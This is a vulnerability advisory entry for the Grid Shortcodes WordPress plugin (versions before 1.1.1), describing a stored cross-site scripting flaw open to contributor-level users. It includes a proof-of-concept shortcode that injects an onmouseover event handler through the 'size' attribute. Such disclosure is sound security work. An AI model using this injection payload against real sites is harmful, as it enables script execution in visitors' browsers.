WordPress Plugin Vulnerabilities
Grid Shortcodes < 1.1.1 - Contributor+ Stored XSS
Description
The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks
Proof of Concept
[GDC_row] [GDC_column size='" onmouseover="alert(1123123)"'] Your content here [/GDC_column] [GDC_column size="third"] Your content here [/GDC_column] [GDC_column size="third"] Your content here [/GDC_column] [/GDC_row]
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-02-26 (about 2 months ago)
Added
2024-02-26 (about 2 months ago)
Last Updated
2024-02-26 (about 2 months ago)